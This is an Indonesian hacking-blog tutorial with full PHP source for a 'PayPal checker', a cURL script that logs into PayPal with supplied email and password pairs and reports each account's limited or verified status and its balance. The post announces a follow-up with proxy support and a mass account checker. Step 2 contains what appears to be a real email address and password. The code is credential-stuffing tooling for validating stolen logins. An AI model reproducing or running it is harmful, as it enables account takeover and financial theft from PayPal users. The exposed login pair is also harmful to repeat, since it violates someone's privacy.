SELAMAT DATANG DI EGYSHARED | SEMOGA SHARINGAN KAMI BERGUNA BUAT ANDA | JANGAN LUPA LIKE PAGE DAN DONASI UNTUK MENGHARGA JASA SHARING KAMI | HAPPY HACKING DAN HAPPY DOWNLOAD | JANGAN LUPA KEMBALI ^^

Monday 13 April 2015

3 Tutorial Membuat Paypal Checker OTODIDAK + Script





Untuk membuat paypal scanner kali ini kita menggunakan teknik CuRL dalam php,

Konsepnya begini :
Curl POST email dan password beserta Cookies ke Halaman website paypal lalu pas login , kita akan dihadapkan dengan
halaman redirect kalo kita tunggu saja maka kita akan otomatis LogOut, "Untungnya" disana ada tulisan begini,
"If this page appears longer than 5 seconds, Click Here to Reload " kalo ga salah begitu ya

nah kita bisa manfaatkan ini , kita lakukan Curl GET ke link yang di suruh klik itu, link nya bisa kita dapatkan
dengan explode, sesudah itu lalu kita curl kembali menggunakn cookies yang ada ke halaman account, dan lakukan explode
untuk mengetahui status account , ex : Limited, Verified dll

Ok, konsep sudah sekarang kita prakteknya, yang basic dulu untuk mengetahui status account, isi balance account dll
Yang kita Curl jangan paypal.com karna bisa mengredirect ke paypalcom/bahasa , sehingga bisa jadi ntar coding kita error :p
explodenya gak pas gitu dan bahasanya tidak sama, jadi mari kita samakan yang kita curl adalah :
https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit

1.Buka https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit lalu View Source untuk mencari field apa saja yang dipostkan
cukup cek bagian form login saja.

<form method="post" name="login_form" action="https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8da6a0e86558d6153d8812cd76bf2fd83f">
<input type="hidden" name="login_cmd" value="">
<input type="hidden" name="login_params" value="">
Email address<input type="text" id="login_email" class="" name="login_email" value="">
PayPal password<input autocomplete="off" type="password" id="login_password" name="login_password" value="">
Go to</label><select id="target_page" name="target_page"><option value="0" selected>My account</option><option value="1">My transactions</option></select></form>


dari code source form login si paypal, ada beberapa field sebenarnya kita hanya butuh beberap saja yaitu :
login_email untuk isi email,login_password untuk isi passsowd dan target_page untuk mengarahkan kehalaman mana sesudah login, yang kita pilih adalah value 0 atau redirect ke my account sehingga
mempermudah kita mencari tau status akun pp tsb beserta balancenya.

ok, data post yang akan dikirim sudah kita ketahui, jadi kita bisa membentuk sebuah sebuah curl post dengan ini jangan lupa gunakan cookies,sesuai konsep diawal

$ch =curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$data = array(
'login_email' =>'email@email.com',
'login_password' => '1111111',
'target_page' => 0,
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$acc = curl_exec($ch);
curl_close($ch);
echo $acc;


2. Lalu kita jalankan curl post yang baru kita buat diatas, untuk melihat hasilnya, yah ternyata stuck di redirect page nya hanya menunggu loading di "Logging you in securely",
ok mari lihat source halaman ini , ane potong bagian penting saja

Logging you in securely
PayPal. The world's most-loved way to pay and be paid.
<p class="note">If this page appears longer than 5 seconds, <a href="https://www.paypal.com/id/cgi-bin/webscr?cmd=_login-done&login_access=1344952111">click here</a> to reload.


yap, seperti konsep awal kita bisa mengakalinya dengan cara mengexplode link yang dituju dan curl kembali dengan cookies sebelumnya link tersebut

$ch =curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$data = array(
'login_email' =>'wahibsuwiryo@ymail.com',
'login_password' => '4d4putr4',
'target_page' => 0,
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$acc = curl_exec($ch);
curl_close($ch);

function cget($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
$klik = explode('If this page appears longer than 5 seconds, <a href="',$acc);$klik=explode('"',$klik[1]);$link=$klik[0];
echo cget($link);


coba kembali menjalankan curl get ke link yang baru kita buat dan lihat hasilnya

3. dan akhirnya kita bisa masuk kehalaman account di paypal, untuk mengetahui jenis akun,jumlah balance dll
kita harus mengcurl lagi ke "https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0", kenapa ? kan di halaman yang baru kita coba sudah bisa
sudah ada balance dan status, ya bener sekali. itu karena akun paypal yang dicoba tidak limited sehingga redirect bisa kehalaman akun sendiri, tetapi
kalo akun yang dicoba limited atau status lainnya, kita akan dibawa ke halaman pemberitahuan tentang masalah akun kita

dan beberapa tips lagi, diawal sebelum lakukan cek akun lainnya harus membuang file cookies yang kita buat, karena jika tidak maka akun paypal yang
diloginkan adalah akun yang dalam cookies sebelumnya

if (file_exists('cookie.txt')) { unlink ('cookie.txt'); }


dan sebelum mengexplode link pada bagian "If this page appears longer than 5 seconds" kita seharusnya melakukan cek terlebih dahulu, karena bisa jadi
akun paypal yang di loginkan itu "Security Measures","Update Password","Update account information" dll . jadi cek terlebih dahulu halamannya.

if($acc){
if(strstr($acc,"Security Measures")){
echo "Alert -> ecurity Measures";
}elseif(strstr($acc,"Please create a new password for your account/")){
echo "Required -> create a new password for your account";
}elseif(strstr($acc,"Update account information")){
echo "Required -> Update account information";
}elseif(strstr($acc,'this page appears longer than 5 seconds')){
$klik = explode('If this page appears longer than 5 seconds, <a href="',$acc);$klik=explode('"',$klik[1]);$link=$klik[0];
$paypal = cget($link);
//telah login silahkan mengambil isi yang diinginkan
}else{
echo "$email -> Error Login";
}
}


4. Mari kita rangkum semuanya menjadi satu bagian alias ini lah code akhirnya:p

<?php
if (file_exists('cookie.txt')) { unlink ('cookie.txt'); }
function cget($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}

function cpost($email,$pass){
$ch =curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$data = array(
'login_email' =>$email,
'login_password' => $pass,
'target_page' => 0,
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$acc = curl_exec($ch);
curl_close($ch);
if($acc){
if(strstr($acc,"Security Measures")){
echo "Alert -> ecurity Measures";
}elseif(strstr($acc,"Please create a new password for your account/")){
echo "Required -> create a new password for your account";
}elseif(strstr($acc,"Update account information")){
echo "Required -> Update account information";
}elseif(strstr($acc,'this page appears longer than 5 seconds')){
$klik = explode('If this page appears longer than 5 seconds, <a href="',$acc);$klik=explode('"',$klik[1]);$link=$klik[0];
$paypal = cget($link);
if($paypal){
$login= cget("https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0");
if(preg_match("/access is limited/", $login)){
echo "$email -> Access is limited<br/>";
}elseif (preg_match('/status">Verified</',$login)){
$balance=explode('<span class="balance">',$login);$balance=explode('',$balance[1]);$balance=explode('',$balance[1]);
echo "verified -> ".$balance[0]."<br/>";
}

}
}else{
echo "$email -> Error Login";
}
}
}

$acc=cpost('email@gmail.com','password');

?>




Untuk menggunakannya cukup ganti email dan password di baris no 2 dari akhir, selesai part 1

Next Part 2 :
-Proxy Feature
-Mass Account Paypal Checker

Ditunggu ya^^

--------------/
Regards

VbA
--------------/

3 comments:

  1. nice sangat membantu

    ReplyDelete
  2. BAGUS TAPI TAMPIALNNYA NORAK AJG SUSAH BACANYSA JADI MALES

    ReplyDelete
  3. bang buat script checker email valid Dong

    ReplyDelete